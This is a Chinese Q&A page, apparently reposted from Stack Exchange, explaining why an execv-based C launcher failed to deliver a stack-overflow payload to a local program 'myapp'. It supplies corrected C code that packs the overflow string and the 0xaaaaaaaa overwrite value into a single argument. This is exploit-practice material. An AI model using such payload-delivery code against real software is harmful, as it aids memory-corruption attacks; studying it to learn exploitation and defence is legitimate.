You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

使用C语言execv构造栈溢出输入失败,命令行执行却正常的问题

问题原因与解决方案

核心差异:参数传递方式不同

你在命令行里用$(python...)的方式,是把Python输出的整段字符串作为单个参数传给myapp,也就是myapp的argv[1]是完整的"AAAAAAAAAA\tBB\xaa\xaa\xaa\xaa";但你的C程序里,是把"AAAAAAAAAA"作为argv[1],"BB\xaa\xaa\xaa\xaa"作为argv[2]——目标程序的栈溢出逻辑应该是处理argv[1]的输入,自然不会读取argv[2]的内容来覆盖栈,所以触发不了溢出。

修复后的C代码

把需要的payload拼接成单个参数,包含命令行里的制表符(\t),再传给execv:

#define DEST_PROG "./myapp"
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int main() {
    // 拼接完整payload:10个A + 制表符 + BB + 0xaaaaaaaa
    char* payload = malloc(10 + 1 + 2 + 4 + 1); // 预留字符串终止符空间
    if (!payload) return 1;
    strcpy(payload, "AAAAAAAAAA");
    strcat(payload, "\t");
    strcat(payload, "BB");
    memcpy(payload + 10 + 1 + 2, "\xaa\xaa\xaa\xaa", 4);
    payload[10+1+2+4] = '\0'; // 手动添加字符串终止符

    char* argParam[3];
    argParam[0] = DEST_PROG;
    argParam[1] = payload;
    argParam[2] = NULL;

    execv(DEST_PROG, argParam);
    free(payload); // execv执行成功的话不会走到这里
    return 0;
}

补充说明

  • 命令行里的$(...)会把命令输出的所有内容(包括制表符)合并成一个参数传递,而C程序里的execv是严格按数组元素分割参数的,不会自动拼接多个参数。
  • 用memcpy处理\xaa这类非打印字符更稳妥,避免strcat遇到意外的\0提前终止(不过这里\xaa不是终止符,用strcat也能行,但memcpy是更标准的二进制数据处理方式)。

内容的提问来源于stack exchange,提问作者Emz

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.31 13:01:12